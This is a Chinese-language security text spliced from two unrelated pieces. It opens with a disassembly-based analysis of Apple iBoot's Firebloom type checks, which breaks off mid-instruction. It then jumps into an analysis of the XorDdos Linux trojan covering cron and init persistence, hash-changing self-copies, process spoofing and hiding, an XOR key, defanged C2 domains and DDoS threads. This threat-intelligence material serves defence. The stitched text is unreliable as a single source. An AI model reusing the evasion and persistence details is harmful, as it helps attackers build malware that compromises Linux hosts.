memcpy(dst-raw_ptr,src-raw_ptr,length);但是,請記住,每段safe_allocation內存都具有相應的type指針,該指針指向某個結構體,以便提供與當前處理的類型有關的更多信息。這些信息可以用於進一步的檢查和驗證。例如,我們希望看到一些邏輯來檢查dst和src的類型是否為基本類型(即這些類型不包含對其他結構體、嵌套結構體等結構體的引用,如short/int/float/double/等類型,就是屬於基本類型)。

這很重要,因為如果src或dst是非基本類型,我們就需要確保只有在它們的類型在某種程度上相等時才將src複製到dst。或者,type實際上保存了更多與結構體有關的元數據,因此需要確保更多的安全屬性。

因此,我想了解一下Firebloom是如何描述基本類型的。在對類型轉換功能,以及其他功能代碼進行逆向分析之後,我終於搞清楚了這一點。有趣的是,分析過程再簡單不過了——我們在函數cast_impl中找到了很多有用的字符串。例如:

aCannotCastPrimDCB'Cannotcastprimitivetypetonon-primitivetype',0借助於交叉引用,我們在下面的代碼中發現,X21寄存器就是來自safe_allocation內存的type指針:

iBoot:00000001FC1A0CF8;X21isthetypepointer

iBoot:00000001FC1A0CF8LDRX11,[X21]

iBoot:00000001FC1A0CFCANDX11,X11,#0xFFFFFFFFFFFFFFF8

iBoot:00000001FC1A0D00LDRBW12,[X11]

iBoot:00000001FC1A0D04TSTW12,#7

iBoot:00000001FC1A0D08;oneofthe3LSBbitsisnot0,non-primitivetype

iBoot:00000001FC1A0D08B.NEcannot_cast_primitive_to_non_primitive_type

iBoot:00000001FC1A0D0CLDRX11,[X11,#0x20]

iBoot:00000001FC1A0D10LSRX11,X11,#0x23;'#'

iBoot:00000001FC1A0D14CBNZX11,cannot_cast_primitive_to_non_primitive_type

.

iBoot:00000001FC1A0E70cannot_cast_primitive_to_non_primitive_type

iBoot:00000001FC1A0E70;CODEXREF:cast_impl+478↑j

iBoot:00000001FC1A0E70;cast_impl+484↑j

iBoot:00000001FC1A0E70ADRX11,aCannotCastPrim;'Cannotcastprimitivetypetonon-primi'.好了,現在我們知道Firebloom是如何標記和測試基本類型的了。這段代碼只是將一種類型轉換為另一種類型的功能實現中的一小部分,特別是這裡的X21寄存器是我們要轉換為的safe_allocation結構體中的type指針。在進行類型轉換時,我們驗證要轉換的類型是基本類型;同時,還要驗證轉換後的目標類型也是基本類型(否則就會出現panic)。

為了完成這項檢查,代碼會對type指針進行解引用,進而得到另一個指針(我們稱之為type_descriptor)。然後,將其最低的3個二進制位屏蔽掉(它們可能對應於一個編碼,這就是所有用到該指針的地方都會在解除其引用之前都屏蔽它的原因),然後對該指針解除引用。

現在,如果以下兩個屬性都滿足要求,那麼,該類型被認為是“基本類型”:

第一個qword的低3位都為0。

在偏移量0x20處存儲的值的高29位都為0。

太好了,我們剛剛了解了基本類型是如何表示的。在本文的後面部分,我們將詳細介紹這些值的具體含義。

有了這些知識,我們就可以著手了解Firebloom到底是如何在iBoot中封裝memset和memcpy函數的了。現在,讓我們從memset函數開始:

iBoot:00000001FC15A99Cwrap_memset_safe_allocation;CODEXREF:sub_1FC04E5D0+124↑p

iBoot:00000001FC15A99C;sub_1FC04ED68+8↑j.

iBoot:00000001FC15A99C

iBoot:00000001FC15A99Cvar_30=-0x30

iBoot:00000001FC15A99Cvar_20=-0x20

iBoot:00000001FC15A99Cvar_10=-0x10

iBoot:00000001FC15A99Cvar_s0=0

iBoot:00000001FC15A99C

iBoot:00000001FC15A99CPACIBSP

iBoot:00000001FC15A9A0SUBSP,SP,#0x60

iBoot:00000001FC15A9A4STPX24,X23,[SP,#0x50+var_30]

iBoot:00000001FC15A9A8STPX22,X21,[SP,#0x50+var_20]

iBoot:00000001FC15A9ACSTPX20,X19,[SP,#0x50+var_10]

iBoot:00000001FC15A9B0STPX29,X30,[SP,#0x50+var_s0]

iBoot:00000001FC15A9B4ADDX29,SP,#0x50

iBoot:00000001FC15A9B8;void*memset(void*s,intc,size_tn);

iBoot:00000001FC15A9B8;X0-dst(s)

iBoot:00000001FC15A9B8;X1-char(c)

iBoot:00000001FC15A9B8;X2-length(n)

iBoot:00000001FC15A9B8MOVX21,X2

iBoot:00000001FC15A9BCMOVX22,X1

iBoot:00000001FC15A9C0MOVX20,X0

iBoot:00000001FC15A9C4MOVX19,X8

iBoot:00000001FC15A9C8;verifyupper_bound-raw_ptr=x2(length)

iBoot:00000001FC15A9C8BLcheck_ptr_bounds

iBoot:00000001FC15A9CCLDRX23,[X20,#safe_allocation.type]

iBoot:00000001FC15A9D0MOVX0,X23

iBoot:00000001FC15A9D4;checkifdstisaprimitivetype

iBoot:00000001FC15A9D4BLis_primitive_type

iBoot:00000001FC15A9D8TBNZW0,#0,call_memset

iBoot:00000001FC15A9DCCBNZW22,detected_memset_bad_type

iBoot:00000001FC15A9E0MOVX0,X23

iBoot:00000001FC15A9E4BLget_type_length

iBoot:00000001FC15A9E8;divideandmultiplythelengthargument

iBoot:00000001FC15A9E8;bythetype'ssize,todetect

iBoot:00000001FC15A9E8;partial/unalignmentwrites

iBoot:00000001FC15A9E8UDIVX8,X21,X0

iBoot:00000001FC15A9ECMSUBX8,X8,X0,X21

iBoot:00000001FC15A9F0CBNZX8,detected_memset_bad_n

iBoot:00000001FC15A9F4

iBoot:00000001FC15A9F4call_memset;CODEXREF:wrap_memset_safe_allocation+3C↑j

iBoot:00000001FC15A9F4LDRX0,[X20,#safe_allocation]

iBoot:00000001FC15A9F8MOVX1,X22

iBoot:00000001FC15A9FCMOVX2,X21

iBoot:00000001FC15AA00BL_memset

iBoot:00000001FC15AA04BLmove_safe_allocation_x20_to_x19

iBoot:00000001FC15AA08LDPX29,X30,[SP,#0x50+var_s0]

iBoot:00000001FC15AA0CLDPX20,X19,[SP,#0x50+var_10]

iBoot:00000001FC15AA10LDPX22,X21,[SP,#0x50+var_20]

iBoot:00000001FC15AA14LDPX24,X23,[SP,#0x50+var_30]

iBoot:00000001FC15AA18ADDSP,SP,#0x60;'`'

iBoot:00000001FC15AA1CRETAB

iBoot:00000001FC15AA20;---------------------------------------------------------------------------

iBoot:00000001FC15AA20

iBoot:00000001FC15AA20detected_memset_bad_type;CODEXREF:wrap_memset_safe_allocation+40↑j

iBoot:00000001FC15AA20BLcall_panic_memset_bad_type

iBoot:00000001FC15AA24;---------------------------------------------------------------------------

iBoot:00000001FC15AA24

iBoot:00000001FC15AA24detected_memset_bad_n;CODEXREF:wrap_memset_safe_allocation+54↑j

iBoot:00000001FC15AA24BL

持久性機制XorDdos使用各種持久性機制,在系統啟動時會自動支持不同的Linux發行版,如下所示。

初始化腳本惡意軟件會在/etc/init.d位置放置一個初始化腳本。初始化腳本是用於在系統啟動時運行任何程序的啟動腳本。它們遵循Linux標準基礎(LSB)樣式的標頭部分,包括默認運行級別、描述和依賴項。

13.png

放置在/etc/init.d/HFLgGwYfSC.elf位置的init腳本的內容

Cron腳本惡意軟件在/etc/cron.hour/gcc.sh的位置創建一個cron腳本。該cron腳本傳遞的參數如下:

14.png

gcc.sh腳本內容

然後它會創建一個/etc/crontab文件以每三分鐘運行一次/etc/cron.hourly/gcc.sh:

15.png

從/etc/crontab文件中刪除/etc/cron.hourly/gcc.sh條目並添加新條目的系統命令

16.png

文件“/etc/crontab.conf”的內容

SystemV運行級別運行級別是init和系統的一種模式,用於指定UnixsystemV-Style操作系統正在運行哪些系統服務。運行級別包含一個值,通常編號為0到6,每個值指定不同的系統配置,並允許訪問不同的進程組合。一些系統管理員根據他們的需要設置系統的默認運行級別,或者使用運行級別來識別哪些子系統正在工作,例如網絡是否正常運行。 /etc/rc run_level 目錄包含符號鏈接(符號鏈接),符號鏈接是指向原始文件的軟鏈接。這些符號鏈接指向應在指定的運行級別運行的腳本。

這個惡意軟件為放置在/etc/init.d/base_file_name 位置的init 腳本創建一個符號鏈接,這些目錄與/etc/rc run_level .d/S90 和/etc/rc.d/rc run_level .d/S9 base_file_name 0 base_file_name 的runlevels 1 到5 相關聯。

17.png

使用/etc/init.d/base_file_name 安裝rc.d 目錄的符號鏈接腳本

自動啟動服務該惡意軟件運行一個命令來安裝啟動服務,這些服務會在啟動時自動運行XorDdos。惡意軟件的LinuxExec_Argv2子例程使用提供的參數運行系統API。

命令chkconfig–add service_name 和update-rc.d 然後添加一個在引導時啟動守護進程的服務。

18.png

chkconfig和update-rc.d命令安裝啟動服務

基於參數的代碼流程XorDdos具有與提供給程序的參數數量相對應的特定代碼路徑。這種靈活性使它的操作更加健壯和隱秘。惡意軟件首先在沒有任何參數的情況下運行,然後運行另一個帶有不同參數的實例,比如pid和假命令,以執行清理、欺騙和持久化等功能。

在處理基於參數的控件之前,它調用readlinkAPI,第一個參數為/proc/self/exe以獲取其完整的進程路徑。完整路徑稍後用於創建自動啟動服務條目並讀取文件內容。

以下是不同參數的功能:

1.不帶任何參數的標準代碼路徑此代碼路徑描述了惡意軟件的標準工作流程,這也是XorDdos作為在系統啟動位置創建的條目的一部分運行的典型工作流程。

惡意軟件首先檢查它是否從/usr/bin/、/bin/或/tmp/位置運行。如果它沒有從這些位置運行,那麼它會在這些位置以及/lib/和/var/run/上使用10個字符的字符串名稱創建並自我複制。

它還在/lib/libudev.so位置創建了自己的一個副本。為了避免基於哈希值的惡意文件查找,它執行以下步驟,修改文件哈希值,使每個文件都是唯一的:

只有寫入時才會打開文件;

調用lseek(fd,0,SEEK_END)指向文件中的最後一個位置;

創建一個10個字符的隨機字符串;

在文件末尾寫入帶有額外空字節的字符串;

修改文件後,它運行二進製文件,執行雙fork(),並從磁盤中刪除其文件。

19.png

惡意軟件文件的末尾包含兩個隨機字符串,“wieegnexuk”和“yybrdajydg”,表明原始惡意軟件二進製文件被修改了兩次

2.清理代碼路徑在此代碼路徑中,惡意軟件使用作為PID提供的另一個參數運行,例如:

/usr/bin/jwvwvxoupv4849使用上面的示例,惡意軟件與IPC密鑰“0xDA718716”共享64字節大小的內存段,以檢查作為參數提供的另一個惡意軟件進程。如果沒有找到,它會運行自己的二進製文件而不帶任何參數,並調用fork()API兩次以確保第三代子進程沒有父進程。這導致第三代進程被init進程採用,從而將其與進程樹斷開連接並充當反取證技術。

另外,它在提供的$pid上執行以下任務:

獲取與提供的$pid對應的進程文件名;

刪除提供的$pid文件;

刪除已安裝的init服務:

刪除/etc/init.d/file_name

對於運行級別1-5,取消鏈接並刪除/etc/rc runlevel .d/S90 file_name

執行chkconfig-del file_name 命令;

執行update-rc.d file_name 刪除

結束作為參數提供的進程。

3.進程名欺騙代碼路徑這個惡意軟件生成了帶有兩個附加參數的新的被刪除的二進製文件:一個假的命令行及其PID,例如:

20.png

虛假命令可以包括:

21.png

在此代碼路徑中,惡意軟件使用進程名稱欺騙通過在運行時修改其虛假命令行來隱藏進程樹。然後,它通過使用命令“1”調用HidePidPort來隱藏其進程,並讀取與當前進程相關的磁盤上文件的內容。

然後,它進入一個5秒的循環,執行以下檢查:

3.1通過調用/proc/$pid/exe上的readlinkAPI,獲取特定於作為第三個參數的一部分提供的$pid的文件名。

3.2如果readlink調用失敗,這可能表明磁盤上的文件不存在。在這種情況下,會發生以下5種情況:

3.2.1打算刪除$pid的所有服務相關條目但失敗。這似乎是由於一個代碼缺陷造成的,當緩衝區應該從成功的readlinkAPI調用中填充時,該漏洞允許將歸零緩衝區作為服務名稱傳遞。

3.2.2創建類似於標準代碼路徑方案的目錄。

3.2.3調用文件/lib/libudev.so的statAPI。如果statAPI返回一個非零值,那麼它會嘗試將先前獲取的當前進程的圖像文件的內容複製到以下位置,並使用隨機名稱:

/usr/bin/

/bin/

/tmp/3.2.4如果對/lib/libdev.so的statAPI調用成功,則將/lib/libudev.so文件複製到上面列出的相同的三個目錄中。

3.2.5更改寫入或複製文件的哈希值,然後在不傳遞任何參數的情況下運行它。

3.3如果readlink調用成功並返回複製的字節數,則休眠一秒鐘,然後在五秒鐘內循環剩餘時間。

3.4取消隱藏當前進程和作為第三個參數的一部分提供的$pid;

3.5刪除當前進程的磁盤文件。

4.沒有提供任何參數的已知位置代碼路徑此代碼路徑與標準代碼路徑相似,主要區別在於惡意軟件從以下位置運行:

22.png

一旦它從其中一個位置運行,惡意軟件就會調用以下函數來執行各種任務:

4.1InstallSYS——顧名思義,這個函數是一個應該部署rootkit驅動程序的包裝器,但它只清零兩個本地數組。

23.png

虛擬InstallSYS例程

4.2AddService——創建前面提到的持久自動啟動項,以便惡意軟件在系統啟動時運行。

4.3HidePidPort——隱藏惡意軟件的端口和進程。

4.4CheckLKM——檢查rootkit設備是否處於活動狀態。它使用數字“0x9748712”和命令“0”的類似IOCTL調用來查找rootkit是否處於活動狀態。如果rootkit處於活動狀態,它會使用所有者值“0xAD1473B8”和組值“0xAD1473B8”通過函數lchown( 文件名、0xAD1473B8、0xAD1473B8)。

4.5decrypt_remotestr——使用相同的XOR密鑰“BB2FA36AAA9541F0”解碼遠程URL,以解碼config.rar和其他目錄。解碼URL後,它將它們添加到一個遠程列表中,該列表稍後用於從命令和控制(C2)服務器通信和獲取命令:

www[.]enoan2107[.]com:3306

www[.]gzcfr5axf6[.]com:3306

惡意活動線程在創建持久條目、刪除其活動證據並解碼config.rar之後,惡意軟件使用sem_initAPI初始化循環冗餘校驗(CRC)表,後跟未命名的信號量。該信號量使用apshared值設置為“0”進行初始化,從而使生成的信號量在所有線程之間共享。信號量用於維護訪問共享對象的線程之間的並發性,例如kill_cfg數據。

然後惡意軟件初始化三個線程來執行惡意活動,例如停止進程、創建TCP連接和檢索kill_cfg數據。

24.png

信號量和惡意線程初始化

kill_processkill_process線程執行以下任務:

解碼加密字符串;

獲取/var/run/gcc.pid的文件統計信息,如果不存在,則創建文件;

獲取/lib/libudev.so的文件統計信息,如果不存在,則創建目錄/lib並在/lib/libudev.so位置創建自身的副本;

獲取與當前進程相關的磁盤文件信息;如果失敗,則退出循環並停止當前進程;

從kill_cfg中讀取內容,並根據配置文件中匹配的指定項執行相應的操作,如停止進程或刪除文件,例如:

25.png

tcp_threadtcp_thread觸發與之前使用decrypt_remotestr()解碼的C2服務器的連接。它執行以下任務:

讀取文件/var/run/gcc.pid的內容,獲取一個唯一的32字節魔術字符串,用於在連接C2服務器時識別設備;如果該文件不存在,則創建該文件並使用一個隨機的32字節字符串對其進行更新。

計算CRC標頭,包括設備的詳細信息,例如魔術字符串、操作系統版本、惡意軟件版本、rootkit存在、內存統計信息、CPU信息和LAN速度。

加密數據並將其發送到C2服務器。

等待從C2服務器接收以下任何命令,然後使用exec_packet子例程對該命令進行操作。

26.png

系統信息收集

daemon_get_killed_processdaemon_get_killed_processthread從之前解碼的遠程URL(hxxp://aa[.]hostasa[.]org/config[.]rar)下載kill_cfg數據,並使用前面提到的相同XOR密鑰對其進行解密。然後它會休眠30分鐘。

27.png

daemon_get_killed_process線程函數從遠程URL獲取並解碼kill_cfg數據

DDoS攻擊線程池惡意軟件調用sysconf(_SC_NPROCESSORS_CONF)來獲取設備中的處理器數量。然後,它創建的線程數量是設備上找到的處理器數量的兩倍。

在內部調用每個線程都會調用線程例程threadwork。使用全局變量“g_stop”和從C2服務器接收的命令,threadwork然後發送精心製作的數據包65535次以執行DDoS攻擊。

28.png

如何防禦Linux平台的威脅XorDdos的模塊化特性為攻擊者提供了一種多功能木馬,能夠感染各種Linux系統架構。它的SSH暴力攻擊是一種相對簡單但有效的技術,可用於獲得對許多潛在目標的root訪問權限。

XorDdos擅長竊取敏感數據、安裝rootkit設備、使用各種規避和持久性機制以及執行DDoS攻擊,使攻擊者能夠對目標系統造成潛在的重大破壞。此外,XorDdos可用於引入其他危險威脅或為後續活動提供載體。

XorDdos和其他針對Linux設備的威脅都表明,擁有跨越眾多Linux操作系統發行版、具有全面能力和完整可見性的安全解決方案是多麼重要。 MicrosoftDefenderforEndpoint提供了這樣的可見性和保護,以捕捉這些新出現的威脅,其下一代反惡意軟件和終端檢測和響應(EDR)功能。利用來自集成威脅數據的威脅情報,包括客戶端和雲啟發式、機器學習模型、內存掃描和行為監控,MicrosoftDefenderforEndpoint可以檢測和補救XorDdos及其多階段模塊化攻擊。這包括檢測和防止其使用惡意shell腳本進行初始訪問、從全局可寫位置放置並執行二進製文件以及終端上的任何潛在後續活動。